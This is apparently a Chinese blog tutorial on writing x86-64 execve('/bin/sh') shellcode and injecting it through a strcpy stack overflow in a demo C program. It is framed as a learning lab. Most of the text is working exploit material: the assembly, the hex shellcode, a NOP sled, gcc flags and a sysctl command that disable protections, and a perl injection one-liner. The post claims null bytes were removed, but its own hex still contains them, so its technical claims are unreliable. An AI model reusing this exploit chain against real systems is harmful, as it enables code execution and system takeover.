1. 程式人生 > >黑客攻防入門(三)shellcode進階

黑客攻防入門(三)shellcode進階

1. 概說

實際上,編寫shellcode面昨很多障礙和限制,很多時候必須忍受沒有辦法解決問題的痛苦。

2. 問題

首先,在緩衝區裡使用植入shellcode,程式碼裡只能出現一個NULL(0)字元,因為所有的輸入函式,只要檢測到NULL字元就會返回,因此,NULL只能夠出現在shellcode的結尾處,否則,shellcode將會變得不完整。

其次,緩衝區的大小,大部分的緩衝區都是一個很小的空間,如8位元組,16位元組,在這麼小的空間裡shellcode的編寫真變得很緊湊了。

  1. 通常,一個通過網路去獲取shell的code,包含的程式碼很容易就越出了緩衝區的容納空間,這樣的結果,往往是把無用的資料填充在了返回地址的空間上,達不到取得程式執行控制的目的。
  2. 解決這個問題的方法是有很多,聰明的黑客想出了頭尾兩段shellcode寫法,先將shellcode的頭部植入緩衝區,然後再跳轉到其它位置的shellcode的尾部。
  3. 不過,這只是一個思路,要再找一個植入尾部的空間,是一件很有挑戰性的工作。

最後,Sehllcode最重要的工作是要確定自己在記憶體的位置,這是一個非常困難的任務,棧上和堆上的緩衝區地址幾乎是不可能豫知的,再高明的黑客也只能通過將程式崩潰來推算具體地址,雖然有聰明的黑客想出避免崩潰的辦法,但這總是相對於運氣來說的。

這裡只陣述三個基本的問題,編碼操作中會有千萬萬的問題出現,如多平臺間的區別,系統呼叫的差異,恢復入侵程式的執行等等。

3. 修改shellcode

我們在前一篇文章裡構造了一個shellcode,現在我們根據問題來再次修改這個shellcode,令它可以適應緩衝區輸入的條件。

.section .text
.global _start
_start:
jmp     cl
pp: popq %rcx
pushq   %rbp
mov     %rsp, %rbp
subq    $0x20, %rsp
movq    %rcx, -0x10(%rbp)
movq    $0x0,-0x8(%rbp)
mov     $0, %edx
lea     -0x10(%rbp), %rsi
mov     -0x10(%rbp
), %rdi mov $59, %rax syscall cl:call pp .ascii "/bin/sh"

上面這段程式碼裡,有兩個地方出現了0x0, 如果用作緩衝區輸入,則會造成輸入提前返回,shellcode植入失敗。

還有一個注意的是0x20,這個在ascii裡代表的是空,也會造成輸入中斷,輸入函式返回。

我們可以將有ox0的程式碼用其他指令代替

首先,我們用指令: xorq %rax, %rax
這條指令可以把rax暫存器通過異或運算置0
然後0x0的地方就可以用%rax代替了。
把0x20改為0x16,這個沒關緊要,是棧空間的大小,shellcode中是用來儲存’/bin/sh’這個字串用。

下面是修改後的程式碼:

.section .text
.global _start
_start:
jmp     cl
pp: popq %rcx
pushq   %rbp
mov     %rsp, %rbp
subq    $0x16, %rsp
movq    %rcx, -0x10(%rbp)
xorq     %rax,  %rax
movq    %rax,-0x8(%rbp)
movq     %rax, %rdx
lea     -0x10(%rbp), %rsi
mov     -0x10(%rbp), %rdi
mov     $59, %rax
syscall
cl:call pp
.string "/bin/sh"

將程式碼編譯後用objdump取出十六制編碼如下:

\xeb\x28\x59\x55\x48\x89\xe5\x48
\x83\xec\x16\x48\x89\x4d\xf0\x48
\x31\xc0\x48\x89\x45\xf8\x48\x89
\xc2\x48\x8d\x75\xf0\x48\x8b\x7d
\xf0\x48\xc7\xc0\x3b\x00\x00\x00
\x0f\x05\xe8\xd3\xff\xff\xff\x2f
\x62\x69\x6e\x2f\x73\x68

4. 測試實驗

簡單的修改了shodecode後,我們用下面的c程式碼生成的程式進行緩衝區溢位測試。

#include <stdio.h>
#include <string.h>

#define BUFSIZE 64

int main(int argc, char *argv[])
{
    char buf[BUFSIZE];
    strcpy(buf, argv[1]);
    printf("Buf: %p\n", &buf);
    return 0;
}

這段程式碼為我們解決了前面所提到的兩大問題,就是
1. 緩衝區足夠放入我們的shellcode
2. 我們用printf將shellcode植入的地址打印出來,實際的入侵中,不會出現這些便利。
3. buf處於main的棧基上第一個變數,我們很容易計算出buf離main設定的返回地址的距離:計算方法很簡單, BUFSIZE+8的地址裡就是main儲存返回地址的地方。

為什麼這樣計算,請參考我寫的入門(一)。

現在我們要做的事情是,令buf的地址覆蓋main的返回地址(下面稱它為ret),我們已經知道buf到ret的長度是BUFSIZE(64)+8,即是72byte。

下面我們來計算一下shellcode的大小:

\xeb\x28\x59\x55\x48\x89\xe5\x48
\x83\xec\x16\x48\x89\x4d\xf0\x48
\x31\xc0\x48\x89\x45\xf8\x48\x89
\xc2\x48\x8d\x75\xf0\x48\x8b\x7d
\xf0\x48\xc7\xc0\x3b\x00\x00\x00
\x0f\x05\xe8\xd3\xff\xff\xff\x2f
\x62\x69\x6e\x2f\x73\x68

我們的shellcode共53byte,那麼我們還需要新增19byte(72-53=19)其他記憶體才能將緩衝區溢位ret地址處。

那麼我新增一些什麼內容呢? 這內容可不是隨隨便便都可以的。

程式設計裡有一個操作叫NOP,它是no operation的簡寫,就是什麼也不做,簡直天生是為緩衝區溢位而設計的。

當然nop是為了讓程式產生短暫的停頓而設計的。

新增內容是加在shellcode的頭還是尾呢?

這也是有考究的,將NOP加在shellcode的頭,能夠增加註入的機率,原因是什麼呢?

buf的地址因每次程式的啟動而改變,所以很難精準地獲取到,但它終是在一個範圍內變動,我們只要將ret落在buf地址的變動範圍內,最理想就是落在shellcode的起始地址裡,比較理想的是落到NOP中,通過NOP的移動,執行shellcode。
不過由於是測試程式,我們已經知道了注入的確切地址,一切都好辦起來。

NOP寫成指令就是0x90, 下面我們用0x90填充shellcode頭部,讓它達到72byte的長度。

\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90
\xeb\x28\x59\x55\x48\x89\xe5\x48
\x83\xec\x16\x48\x89\x4d\xf0\x48
\x31\xc0\x48\x89\x45\xf8\x48\x89
\xc2\x48\x8d\x75\xf0\x48\x8b\x7d
\xf0\x48\xc7\xc0\x3b\x00\x00\x00
\x0f\x05\xe8\xd3\xff\xff\xff\x2f
\x62\x69\x6e\x2f\x73\x68

好了,下面我們編譯寫好的C測試程式:

gcc -g -fno-stack-protector -z execstack -o stack1 stack1.c

# gcc帶的引數-g是產生gdb除錯符號,另外的引數則是取消堆疊程式碼執行保護。

我們先執行stack1, 目的是檢視buf的地址。

[root@localhost stack]# ./stack1  1
Buf: 0x7fffffffe300

新的核心在每次裝載程式時,基棧地址都會發生變化,在這裡我們先將這個功能限制了
引數設定:sysctl -w kernel.randomize_va_space=0
通過這樣設定就可以固定程式基棧起址

然後我們開始注入shellcode測試:

./stack1 `perl -e 'print "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\
 x28\x59\x55\x48\x89\xe5\x48\x83\xec\x16\x48\x89\x4d\xf0\x48\x31\xc0\x48\x89\x45
\xf8\x48\x89\xc2\x48\x8d\x75\xf0\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b\x00\x00\x00\x0f
\x05\xe8\xd3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x00\xe3\xff\xff\xff\x7f"'`

#最後的這個\x00\xe3\xff\xff\xff\x7f就是【ret】返回地址,通過這個地址去執行我們的shellcode。
#前一個\00用來終止shellcode,沒有這個\00可能會有出現問題。

6. 總結

以上實驗都是人為堆拼製造的溢位環境,主要目的是掌握溢位的基本原理、方法。

現在,要繞開各種限制,真實的溢位入侵,還存在很大的距離。

往下文章繼續介紹和研究,請關注和指點!